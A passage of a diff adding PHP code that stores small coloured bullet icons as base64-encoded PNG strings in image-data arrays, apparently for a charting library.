+	    'u79/ADQMQSGQ8bBywAAAAASUVORK5CYII=' ; 
+
+
+//==========================================================
+// File: bs_lightblue.png
+//==========================================================
+	$this->imgdata_small[1][0]= 657 ;
+	$this->imgdata_small[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAABVl'.
+	    'BMVEX////////d///AwMC7wcS08P+y+P+xxdCwxM+uws2twMur'.
+	    'vsinzNynytylzuKhyN6e5v6d5P+d1fOcwNWcu8ub4f+at8iZ3v'.
+	    '+ZvdGY2/yW2f+VscGU1vuT1fqTr72Sx+SSxeKR0fWRz/GPz/OP'.
+	    'rr+OyeqMy+6Myu2LyeyKxueJudSGw+SGorGDvt+Cvd6CvN2Aud'.
+	    'p+uNd+t9Z9tdV8tdR8tNN6sc94r813rct2q8h0qcZ0qMVzp8Rx'.
+	    'o8Bwor5tn7ptnrptnrlsnbhqmbRpmbNpi51ol7Flkqtkkqtkka'.
+	    'pjj6hijaRhjaZgi6NfiqJfiaFdh55bhJtag5pZgphYgJZYf5VX'.
+	    'cn9Ve5FSeI1RdopRdYlQdYlPc4dPcoZPcoVNcINLboBLbH9GZn'.
+	    'hGZXdFZHZEY3RDYnJCXW4/W2s/WWg+Wmo7VmU7VGM7U2E6VGM6'.
+	    'VGI5UV82T1wGxheQAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHU'.
+	    'gAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkUGTok'.
+	    '9Yp9AAAAtElEQVR4nGNgIBaw8wkpKghzwvksPAKiUsraprYiLF'.
+	    'ARXkE2JiZ1PXMHXzGIAIekOFBE08TGLTCOCyzCLyvDxsZqZOnk'.
+	    'E56kAhaRV9NQUjW2tPcMjs9wBYsY6Oobmlk7egRGpxZmgkW0zC'.
+	    '2s7Jy9giKT8gohaiQcnVzc/UNjkrMLCyHmcHr7BYREJKTlFxbm'.
+	    'QOxiEIuKTUzJKgQCaZibpdOzQfwCOZibGRi4dcJyw3S4iQ4HAL'.
+	    'qvIlIAMH7YAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bs_gray.png
+//==========================================================
+	$this->imgdata_small[2][0]= 550 ;
+	$this->imgdata_small[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAAQCAMAAADH72RtAAABI1'.
+	    'BMVEX///8AAAD8EAD8IAD8NAD8RAD8VAAYGBi/v7+goKCCgoJk'.
+	    'ZGRGRkb8yAD83AD87AD8/AD4+ADo+ADY+ADI+AC0+ACk+ACU+A'.
+	    'CE+AB0/ABk/ABU/ABE/AAw/AAg/AAQ/AAA/AAA+AAA6BAA2CAA'.
+	    'yDQAtEQApFQAlGQAhHQAdIgAZJgAVKgARLgAMMgAINwAEOwAAP'.
+	    'wAAPgIAPAQAOgYAOAkANgsANA0AMg8AMBEALhMALBUAKhcAKBo'.
+	    'AJhwAJB4AIiAAID////4+Pjy8vLs7Ozm5ubg4ODa2trT09PNzc'.
+	    '3Hx8fBwcG7u7u1tbWurq6oqKiioqKcnJyWlpaQkJCJiYmDg4N9'.
+	    'fX13d3dxcXFra2tkZGReXl5YWFhSUlJMTExGRkZAQEA1BLn4AA'.
+	    'AAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIA'.
+	    'AAsSAdLdfvwAAAAHdElNRQfTAwkUGiIctEHoAAAAfElEQVR4nI'.
+	    '2N2xKDIAwF+bZ2kAa8cNFosBD//yvKWGh9dN+yk9kjxH28R7ze'.
+	    'wzBOYSX6CaNB927Z9qZ66KTSNmBM7UU9Hx2c5qjmJaWCaV5j4t'.
+	    'o1ANr40sn5a+x4biElrqHgrXMeac/c1nEpFHG0LSFoo/jO/BeF'.
+	    'lJnFbT58ayUf0BpA8wAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bs_greenblue.png
+//==========================================================
+	$this->imgdata_small[3][0]= 503 ;
+	$this->imgdata_small[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAxl'.
+	    'BMVEX///////+/v79znJQhSkJ7raU5hHtjraVKnJRCjIRClIyU'.
+	    '9++E595avbVaxr2/v7+ctbWcvb17nJxrjIx7paUxQkK9//+Mvb'.
+	    '17ra2Evb17tbVCY2MQGBiU5+ec9/eM5+d71tZanJxjra1rvb1j'.
+	    'tbVSnJxara1rzs5jxsZKlJRChIQpUlIhQkJatbVSpaU5c3MxY2'.
+	    'MYMTEQISFavb1Sra1KnJxCjIw5e3sxa2spWlpClJQhSkoYOTkp'.
+	    'Y2MhUlIQKSkIGBgQMTH+e30mAAAAAXRSTlMAQObYZgAAAAFiS0'.
+	    'dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfT'.
+	    'AwkUGTIqLgJPAAAAqklEQVR4nI2QVxOCMBCEM6Mi2OiCvSslJB'.
+	    'CUoqjn//9TYgCfubf9Zu9uZxFqO+rscO7b6l/LljMZX29J2pNr'.
+	    'YjmX4ZaIEs2NeiWO19NNacl8rHAyD4LR6jjw6PMRdTjZE0JOiU'.
+	    'dDv2ALTlzRvSdCCfAHGCc7yRPSrAQRQOWxKc3C/IUjBlDdUcM8'.
+	    '97vFGwBY9QsZGBc/A4DWZNbeXIPWZEZI0c2lqSute/gCO9MXGY'.
+	    '4/IOkAAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: bs_yellow.png
+//==========================================================
+	$this->imgdata_small[4][0]= 507 ;
+	$this->imgdata_small[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAzF'.
+	    'BMVEX///////+/v79zYwCMewDOxoTWzoTezkr/5wj/5wDnzgDe'.
+	    'xgC1pQCtnACllACcjACUhABjWgDGvVK1rUrOxlLGvUqEexilnB'.
+	    'jv3hj35xj/7wj/7wD35wDv3gDn1gDezgDWxgDOvQDGtQC9rQCE'.
+	    'ewB7cwBzawBrYwDWzlLn3lLe1krn3kre1hi9tQC1rQCtpQClnA'.
+	    'CclACUjACMhAD/9wC/v7///8bOzoT//4T//3v//3P//2v//2Pn'.
+	    '50r//0r//yn39xj//xD//wBjYwDO8noaAAAAAXRSTlMAQObYZg'.
+	    'AAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAH'.
+	    'dElNRQfTAwkUGSDZl3MHAAAAqElEQVR4nI3QWRNDMBAA4My09E'.
+	    'IF1SME0VT1okXvM/3//6kEfbZv+81eswA0DfHxRpOV+M+zkDGG'.
+	    'rL63zCoJ2ef2RLZDIqNqYexyvFrY9ePkxGWdpvfzC7tEGtIRly'.
+	    'nqzboFKMlizAXbNnZyiFUKAy4bZ+B6W0lRaQDLmg4h/k7eFwDL'.
+	    'OWIky8qhXUBQ7gKGmsxpC+ah1TdriwByqG8GQNDNr6kLjf/wAx'.
+	    'KgEq+FpPbfAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bs_darkgray.png
+//==========================================================
+	$this->imgdata_small[5][0]= 611 ;
+	$this->imgdata_small[5][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPCAMAAAAMCGV4AAABJl'.
+	    'BMVEX////////o8v/f6O7W4OnR3PXL1OTL0evEyLvCzePAwMC/'.
+	    'v7a8wsq7t7C1xum1vtS1q6GzopmyxeKsrsOqvNWoq7anvN+nsb'.
+	    'qhrcGgqbGfpq6cp7+bqMuVmJKRm7yPlKKMnL6FkKWFipOEkLSE'.
+	    'j6qEhoqAiaB+jqd8haF7hZR4iJt4g5l3hZl2gIt2cod1hJVzeY'.
+	    'VzboJvhp9sfJJsb41peY1pd5xpdoVod4xndI5lcHxka4BjcYVg'.
+	    'Z3BfboFbb4lbZnZbYntaZ4laZYVZV3JYYWpXX3JWWm5VX4RVW2'.
+	    'NUYX9SXHxPWn5OVFxNWWtNVXVMVWFKV3xHUGZGU3dGTldFSlxE'.
+	    'Sk9ESXBCRlNBS3k/SGs/RU4+R1k9R2U6RFU2PUg0PEQxNU0ECL'.
+	    'QWAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAA'.
+	    'CxIAAAsSAdLdfvwAAAAHdElNRQfTAwkUGQmbJetrAAAAtklEQV'.
+	    'R4nGNgwAK4JZTNNOWlYDxhMT4ZDTOzQE1uMF9CiJWVU0LbxDlS'.
+	    'G8QVF+FnZ2KRNHAIiPUHaZGSlmZj5lH19A1KjLUA8lXU5MWllF'.
+	    'yjo30TYr2BfG19G11b37CEeN84H38gX1HbwTUkOjo+zjfG3hLI'.
+	    'l1exCvCNCwnxjfMz0gTyRdXNHXx9fUNCQu2MwU6SN3ZwD42LCH'.
+	    'W30IK4T8vUJSAkNMhDiwPqYiktXWN9JZj7UQAAjWEfhlG+kScA'.
+	    'AAAASUVORK5CYII=' ; 
+
+
+//==========================================================
+// File: bs_darkgreen.png
+//==========================================================
+	$this->imgdata_small[6][0]= 666 ;
+	$this->imgdata_small[6][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAABX1'.
+	    'BMVEX////////l/+nAwMC86r+8wb28wby8wLy78sCzw7SywrSx'.
+	    'wLKwvrGuvK+syK+ryq2rx62n36ym3aumxKmk2qij0Keh16ahva'.
+	    'Og1aSguKKe06KeuaCetZ+d0KGdtZ+bz6Cay56ZyZ2Zwp2Zr5qZ'.
+	    'rpqYwJuXyZuXrJmVw5mUxZiTxJeTw5eTq5WRwJWPtJKOvZKKuI'.
+	    '6Kt42Kn4yJt42ItIuGsomFsYmEsIiEr4eDr4eBrIR/qoN+qIJ8'.
+	    'poB7pH56o356on14nnt2nXl0mndzmnZzmXZymHVwlXNvlHJukn'.
+	    'FtiHBqjm1qjW1oi2toiWpniWplh2hlhmdkhWdig2VggGNgf2Je'.
+	    'fmFdfGBde19bbl1aeFxXdFpWclhVclhVcVdUcFZTb1VSbVRQal'.
+	    'JPaVFKY0xKYkxJYUtIYEpHX0lEWkZCWERCV0NCVkM/U0A+U0A+'.
+	    'UUA+UEA9Uj89UT48Tj45TDvewfrHAAAAAXRSTlMAQObYZgAAAA'.
+	    'FiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElN'.
+	    'RQfTAwkUGRjxlcuZAAAAtElEQVR4nGNgIBZw8osqqIpzw/msfI'.
+	    'IiUmr6lo6SbFARASEOJiYtQ2uXADmIAJeEGFBE18LBMySBBywi'.
+	    'LC/LwcFiZuvmH5WiAxZR0tRW1DC3dfYJS8zyAouYGBibWtm7+o'.
+	    'TEpZfkgEX0rG3snNx9Q2NSCksgaqRd3Ty8gyLiU/NKSiDmcPsF'.
+	    'BodHJ2UUlZTkQ+xikIlNSE7LLgECZagL2VQyc0H8YnV2uD94jS'.
+	    'ILIo14iQ4HALarJBNwbJVNAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bs_purple.png
+//==========================================================
+	$this->imgdata_small[7][0]= 447 ;
+	$this->imgdata_small[7][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAnF'.
+	    'BMVEX///////+/v7/Gvca9rb3Grcb/xv+1hLWte629hL21e7XG'.
+	    'hMbWhNbOe87We9b/hP//e/97OXv/c///a///Y/+cOZz/Sv/WOd'.
+	    'bnOefvOe//Kf9jCGNrCGv/EP//CP/nCOf/AP/3APfvAO/nAOfe'.
+	    'AN7WANbOAM7GAMa9AL21ALWtAK2lAKWcAJyUAJSMAIyEAIR7AH'.
+	    'tzAHNrAGtjAGPP1sZnAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgF'.
+	    'HUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkUGS'.
+	    'o5QpoZAAAAnElEQVR4nI3Q2xJDMBAG4MyQokWrZz3oSkJISJH3'.
+	    'f7dK0Gv/Xb7J7vyzCK0NjtPsHuH/2wlhTE7LnTNLCO/TFQjjIp'.
+	    'hHAA6bY06LSqppMAY47x+04HXTba2kAFlmQKr+YuVDCGUG2k6/'.
+	    'rNwYK8rKwKCnPxHnVS0aA3rag4UQslUGhrlk0Kpv1+sx3tLZ6w'.
+	    'dtYemMkOsnz8R3V9/hB87DEu2Wos5+AAAAAElFTkSuQmCC' ; 
+
+
+//==========================================================
+// File: bs_brown.png
+//==========================================================
+	$this->imgdata_small[8][0]= 677 ;
+	$this->imgdata_small[8][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAABaF'.
+	    'BMVEX//////////8X/3oD/3nj/1HX/0Gr/xGP/rkv/gBf+iS/2'.
+	    'bAL1agDxaQDuZwDrZwLpZQDmZQLlZADjcx7gZATeYQDdZgraXw'.
+	    'DZXwHYXgDXiEvXZAvUjlfUXwXTjVfTbR7ShUvRbR7RWwDMWQDL'.
+	    'WADKooLKWADJoYLJgkvHWATGoILFn4LFgEvFVgDEZx7EVQDDt6'.
+	    '/DVQDCt6/CnoLChlfCVADAwMC+hFe+UgC8UgC6UQC4gVe4UAC3'.
+	    'gVe3UAC1gFe1eUu1TwC1TgCzTgCwTQKuTACrSgCqSgCpSgCpSQ'.
+	    'CodEulSACkRwCiRgCdRACcRACaQwCYQgCWQgKVQQCVQACUQACS'.
+	    'UR6RPwCOPgCNPQCLPACKPACJOwCEOQCBOAB+NwB9NgB8NgB7NQ'.
+	    'B6NwJ4NAB3RR52MwB0MgBuLwBtLwBsLwBqLgBpLQBkLQJiKgBh'.
+	    'KgBgKwRcKABbKQJbJwBaKQRaJwBYKAJVJQDZvdIYAAAAAXRSTl'.
+	    'MAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLd'.
+	    'fvwAAAAHdElNRQfTAwkUGho0tvl2AAAAtklEQVR4nGNgIBaoSg'.
+	    'mLKGpowfkGMty8AqJKpi4mRlAROR5ONg4JFUv3YHOIgDo/HwsT'.
+	    'q6yps29EsjZYREFIkJ2ZS9/OMzA20wEsIi8uKSZtaOPmH5WSFw'.
+	    'YW0VRW07Vw8vCLSMguLwCL6FlaObp6B0TGZxSXQ9TouHv6+IXG'.
+	    'JGYWlpdDzNEKCgmPjkvLKS0vL4LYxWAen5SelV8OBNZQFxrZ5h'.
+	    'aC+GX2MDczMBh7pZakehkTHQ4AA0Am/jsB5gkAAAAASUVORK5C'.
+	    'YII=' ; 
+
+//==========================================================
+// File: bs_blue.png
+//==========================================================
+	$this->imgdata_small[9][0]= 436 ;
+	$this->imgdata_small[9][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAk1'.
+	    'BMVEX///////+/v7+trcbGxv+EhM6EhNaEhP97e/9zc/9ra/9S'.
+	    'UsZKSrVSUs5jY/9SUtZKSsZSUudKSt5KSudKSv8YGIQpKf8YGK'.
+	    'UYGN4YGO8YGPcQEP8ICP8AAP8AAPcAAO8AAOcAAN4AANYAAM4A'.
+	    'AMYAAL0AALUAAK0AAKUAAJwAAJQAAIwAAIQAAHsAAHMAAGsAAG'.
+	    'ONFkFbAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZ'.
+	    'cwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkUGhNNakHSAAAAmk'.
+	    'lEQVR4nI3P2xKCIBAGYGfM6SBWo1nauIqogaDA+z9dK9Lhrv47'.
+	    'vtl/2A2CfxNlJRRp9IETYGraJeEb7ocLNKznia8A7Db7umWDUG'.
+	    'sxAzhurxRHxok4KQGqCuEhlL45oU1D2w5BztY4KRhj/bCAsetM'.
+	    '2uObjwvY8/oX50JItYDxSyZSTrO2mNhvGMbaWAevnbFIcpuTr7'.
+	    't+5AkyfBIKSJHdSQAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bs_green.png
+//==========================================================
+	$this->imgdata_small[10][0]= 452 ;
+	$this->imgdata_small[10][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAn1'.
+	    'BMVEX///////+/v7+/v7/G/8aUxpSMvYyUzpSMzoyM1oxarVqE'.
+	    '/4R7/3tavVpKnEpaxlpz/3Nr/2tKtUpj/2Na51pKzkpK1kpK50'.
+	    'pK/0oYcxgp/ykYlBgY3hgY7xgY9xgQ/xAI/wgA/wAA9wAA7wAA'.
+	    '5wAA3gAA1gAAzgAAxgAAvQAAtQAArQAApQAAnAAAlAAAjAAAhA'.
+	    'AAewAAcwAAawAAYwA0tyxUAAAAAXRSTlMAQObYZgAAAAFiS0dE'.
+	    'AIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAw'.
+	    'kUGgW5vvSDAAAAnklEQVR4nI3QSxKCMAwA0M4gqCgoiiJ+kEAL'.
+	    'LQUq0PufzX7ENdnlJZNkgtDS2CYZvK6bf+7EoKLA9cH5SQzv6A'.
+	    'YloTywsAbYr44FrlgrXCMJwHl3xxVtuuFkJAPIcw2tGB9GcFli'.
+	    'oqEf5GTkSUhVMw2TtD0XSlnDOw3SznE5520vNEi7CwW9+Ayjyq'.
+	    'U/3+yPuq5gvhkhL0xlGnqL//AFf14UIh4mkEkAAAAASUVORK5C'.
+	    'YII=' ; 
+
+
+//==========================================================
+// File: bs_white.png
+//==========================================================
+	$this->imgdata_small[11][0]= 480 ;
+	$this->imgdata_small[11][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAAQCAYAAADwMZRfAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMLFTsY/ewvBQAAAW1JREFUeJytkz2u4jAUhT/jic'.
+	    'gfBUKiZhE0bIKeVbCWrIKenp6eDiGlCEEEBArIxvzGU4xeZjLk'.
+	    'jWb05lRXuvbx+exr4bouX1Xjyw7Atz81F4uFBYjjGIDhcCjq1o'.
+	    'k6nN1uZwFerxfP55Msy1itVmRZBsB4PK6YveHkeW5d18XzPIIg'.
+	    'wPd9Wq0WnU6HMAxJkoQoiuynOIfDwUopkVIihKAoCgAcx6Hdbm'.
+	    'OMIU1T5vN55eBKEikljUYDIX6kFUKU9e8aDAZlmjcca+1b7TgO'.
+	    '1+uVy+VS9nzfr8e53++VzdZaiqIgz3OMMWitOZ/PaK0JgqDeRC'.
+	    'mF53lIKYGfr3O73TDGoJQiTVO01nS73XqT4/FIs9kkCAIej0eZ'.
+	    'brPZEMcxSZKgtQZgMpmIWpN+vy+m06n1PK9yTx8Gy+WS/X5Pr9'.
+	    'er9GuHLYoiG4YhSilOpxPr9Zrtdlti/JriU5MPjUYjq7UuEWaz'.
+	    '2d+P/b/qv/zi75oetJcv7QQXAAAAAElFTkSuQmCC' ; 
+
+
+//==========================================================
+// File: bs_cyan.png
+//==========================================================
+	$this->imgdata_small[12][0]= 633 ;
+	$this->imgdata_small[12][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAABPl'.
+	    'BMVEX////////F///AwMCvxsaC1NSC0dGCz8+CzMyA//94//91'.
+	    '//9q//9j//9X4uJX09NXz89Xx8dXxMRL//9L5uZL3d1L2NhLxs'.
+	    'ZLt7cv//8e9fUe8fEe7u4e398epqYehoYX//8L+PgK//8F9fUE'.
+	    '/v4E5+cEb28EZ2cC//8C/v4C/f0CzMwCrq4Cjo4CdXUCaWkCZW'.
+	    'UB/PwA//8A/f0A+/sA8/MA7e0A7OwA6+sA5eUA5OQA4uIA4eEA'.
+	    '3NwA2toA2NgA1dUA09MA0tIA0NAAysoAxsYAxcUAxMQAv78Avr'.
+	    '4AvLwAtrYAtbUAs7MAsLAAra0Aq6sAqKgApaUApKQAoqIAoKAA'.
+	    'n58AmpoAlZUAk5MAkpIAkJAAj48AjIwAiYkAh4cAf38AfX0Ae3'.
+	    'sAenoAcnIAcHAAa2sAaWkAaGgAYmIUPEuTAAAAAXRSTlMAQObY'.
+	    'ZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAA'.
+	    'AHdElNRQfTAwkUGQDi+VPPAAAAtElEQVR4nGNgIBawikipyIiy'.
+	    'wfksfJpGRkamNtr8LFARPiMFHmFDcztXfwGoFi0jLiZuZRtnry'.
+	    'BddrCIiJEGL6eklYO7X3iCOFhE2thESdHawdUnJDZFDiyiamZh'.
+	    'aevk5h0UlZSpBhaRtbN3dPHwDY5MSM+EqBFzc/f0DgiLTkjLzI'.
+	    'SYw6bjHxgaEZeckZmpD7GLQSAqJj4xNRMIBGFuFtRLA/ENhGBu'.
+	    'ZmDgkJBXl5fgIDocAAKcINaFePT4AAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bs_bluegreen.png
+//==========================================================
+	$this->imgdata_small[13][0]= 493 ;
+	$this->imgdata_small[13][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAvV'.
+	    'BMVEX///////+/v79j//855/8x3v851v9Spb1C1v8AOUqEtcZK'.
+	    'lK1StdYxzv8hxv8AY4QASmNSlK1KpcZKtd4YQlIYnM4YrecIvf'.
+	    '8AtfcAre8AjL0AhLUAc5wAa5QAWnsAQloAKTkAGCFKhJxKrdYY'.
+	    'jL0Ypd4Atf8ArfcApecAnN4AlM4AjMYAe60Ac6UAY4wAUnNSnL'.
+	    '0AlNYAWoQASmsAOVIAITGEtc4YWnsAUnsAMUqtvcaErcYAKUIA'.
+	    'GCkAECHUyVh/AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAA'.
+	    'AJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkUGxNUcXCT'.
+	    'AAAAqUlEQVR4nI2Q1xKCMBREM2NHLCCogAGCjd6SqLT8/2cZKT'.
+	    '6zb3tm987OBWCsXoejp8rC35fi4+l6gXFZlD0Rz6fZ1tdDmKR9'.
+	    'RdOmkzmP7DDpilfX3SzvRgQ/Vr1uiZplfsCBiVf03RJd140wgj'.
+	    'kmNqMtuYXcxyYmNWJdRoYwzpM9qRvGujuCmSR7q7ARY00/MiWk'.
+	    'sCnjkobNEm1+HknDZgAqR0GKU43+wxdu2hYzbsHU6AAAAABJRU'.
+	    '5ErkJggg==' ; 
+
+//==========================================================
+// File: bs_lightred.png
+//==========================================================
+	$this->imgdata_small[14][0]= 532 ;
+	$this->imgdata_small[14][1]=
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAA3l'.
+	    'BMVEX///////+/v7/Gvb0hGBj/5///3v//zu//1u//xucpGCG9'.
+	    'nK21lKVSQkp7Wms5KTExISlaOUpjQlIhEBj/tdbOhKXnrcbGjK'.
+	    'Wla4TetcbGnK2EWmv/rc73pcZ7UmOcY3vOpbW1jJzenLW9e5Rz'.
+	    'Slq1c4xrQlJSOULGhJz/pcb3nL2chIzOnK33rcbelK3WjKWMWm'.
+	    'vGe5SEUmM5ISnOtb3GrbXerb3vpb2ca3v/rcaUY3POhJxCKTF7'.
+	    'SlrWnK21e4ytc4TvnLXnlK2la3taOUK1lJxrSlLGhJRjQkpSMT'.
+	    'lw+q2nAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZ'.
+	    'cwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkUGjoP2Nm+AAAAr0'.
+	    'lEQVR4nGNgIBaYiOk62imYwPnMkiIyso76yhJSzFARMxkRNk49'.
+	    'a3t5OW6oFk1LVkYOfWUHKxUXiEYzLS12DnN3VXkjIRtFsIiSk5'.
+	    '6evqGqhYGKugAfWMRa1FpD2UHeQEXQRlgALCJur+rgbCUNFOAS'.
+	    'hqjRkZe3MpBTcwEKCEPMMTGSs3Xz8OQHCnBBHckt6OJpIyAMBD'.
+	    'wwN/MYc4H4LK4wNzMwmGrzcvFqmxIdDgDiHRT6VVQkrAAAAABJ'.
+	    'RU5ErkJggg==' ;
+
+//==========================================================
+// File: bxs_lightred.png
+//==========================================================
+	$this->imgdata_xsmall[0][0]= 432 ;
+	$this->imgdata_xsmall[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAA3l'.
+	    'BMVEX///////+/v7/Gvb0hGBj/5///3v//zu//1u//xucpGCG9'.
+	    'nK21lKVSQkp7Wms5KTExISlaOUpjQlIhEBj/tdbOhKXnrcbGjK'.
+	    'Wla4TetcbGnK2EWmv/rc73pcZ7UmOcY3vOpbW1jJzenLW9e5Rz'.
+	    'Slq1c4xrQlJSOULGhJz/pcb3nL2chIzOnK33rcbelK3WjKWMWm'.
+	    'vGe5SEUmM5ISnOtb3GrbXerb3vpb2ca3v/rcaUY3POhJxCKTF7'.
+	    'SlrWnK21e4ytc4TvnLXnlK2la3taOUK1lJxrSlLGhJRjQkpSMT'.
+	    'lw+q2nAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZ'.
+	    'cwAACxEAAAsRAX9kX5EAAAAHdElNRQfTAwkUKBOgGhWjAAAAS0'.
+	    'lEQVR4nGNgQAEmunYmEJaMCKe1vBxYzJKVQ9lKBSSupKdnaKGi'.
+	    'zgdkiqs6WKnYcIGYJnK2HvzCwmCNgi42wsLCECNMeXlNUY0HAL'.
+	    'DaB7Du8MiEAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bxs_bluegreen.png
+//==========================================================
+	$this->imgdata_xsmall[1][0]= 397 ;
+	$this->imgdata_xsmall[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAvV'.
+	    'BMVEX///////+/v79j//855/8x3v851v9Spb1C1v8AOUqEtcZK'.
+	    'lK1StdYxzv8hxv8AY4QASmNSlK1KpcZKtd4YQlIYnM4YrecIvf'.
+	    '8AtfcAre8AjL0AhLUAc5wAa5QAWnsAQloAKTkAGCFKhJxKrdYY'.
+	    'jL0Ypd4Atf8ArfcApecAnN4AlM4AjMYAe60Ac6UAY4wAUnNSnL'.
+	    '0AlNYAWoQASmsAOVIAITGEtc4YWnsAUnsAMUqtvcaErcYAKUIA'.
+	    'GCkAECHUyVh/AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAA'.
+	    'AJcEhZcwAACxEAAAsRAX9kX5EAAAAHdElNRQfTAwkUKDVyF5Be'.
+	    'AAAASUlEQVR4nGNgQAFmYqJcEJaEOJ+UrD5YTJKFTZrfGCQuaq'.
+	    'glLWvMaQ5kqujo6hnbKIKYXPr68gp2dmCNJiZAlh3ECGsREWtU'.
+	    '4wF1kwdpAHfnSwAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bxs_navy.png
+//==========================================================
+	$this->imgdata_xsmall[2][0]= 353 ;
+	$this->imgdata_xsmall[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAk1'.
+	    'BMVEX///////+/v7+trcbGxv+EhM6EhNaEhP97e/9zc/9ra/9S'.
+	    'UsZKSrVSUs5jY/9SUtZKSsZSUudKSt5KSudKSv8YGIQpKf8YGK'.
+	    'UYGN4YGO8YGPcQEP8ICP8AAP8AAPcAAO8AAOcAAN4AANYAAM4A'.
+	    'AMYAAL0AALUAAK0AAKUAAJwAAJQAAIwAAIQAAHsAAHMAAGsAAG'.
+	    'ONFkFbAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZ'.
+	    'cwAACxEAAAsRAX9kX5EAAAAHdElNRQfTAwkUJxXO4axZAAAAR0'.
+	    'lEQVR4nGNgQAGskhKsEJaslIi8ijpYTJaDU1FVAyQuKSujoKKh'.
+	    'LQ5kSigpqWro6oOYrOoaWroGBmCNWiCWAdQwUVFWVOMBOp4GCJ'.
+	    's5S60AAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: bxs_gray.png
+//==========================================================
+	$this->imgdata_xsmall[3][0]= 492 ;
+	$this->imgdata_xsmall[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAABI1'.
+	    'BMVEX///8AAAD8EAD8IAD8NAD8RAD8VAAYGBi/v7+goKCCgoJk'.
+	    'ZGRGRkb8yAD83AD87AD8/AD4+ADo+ADY+ADI+AC0+ACk+ACU+A'.
+	    'CE+AB0/ABk/ABU/ABE/AAw/AAg/AAQ/AAA/AAA+AAA6BAA2CAA'.
+	    'yDQAtEQApFQAlGQAhHQAdIgAZJgAVKgARLgAMMgAINwAEOwAAP'.
+	    'wAAPgIAPAQAOgYAOAkANgsANA0AMg8AMBEALhMALBUAKhcAKBo'.
+	    'AJhwAJB4AIiAAID////4+Pjy8vLs7Ozm5ubg4ODa2trT09PNzc'.
+	    '3Hx8fBwcG7u7u1tbWurq6oqKiioqKcnJyWlpaQkJCJiYmDg4N9'.
+	    'fX13d3dxcXFra2tkZGReXl5YWFhSUlJMTExGRkZAQEA1BLn4AA'.
+	    'AAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxEA'.
+	    'AAsRAX9kX5EAAAAHdElNRQfTAwkUKC74clmyAAAAQklEQVR4nG'.
+	    'NgQAVBYVCGt5dXYEQ0mOnp5h4QFgVmeri6+4dHxYMVeHoFRUTH'.
+	    'gTUFBIZBWAwMkZEx8bFQM2Lj0UwHANc/DV6yq/BiAAAAAElFTk'.
+	    'SuQmCC' ; 
+
+//==========================================================
+// File: bxs_graypurple.png
+//==========================================================
+	$this->imgdata_xsmall[4][0]= 542 ;
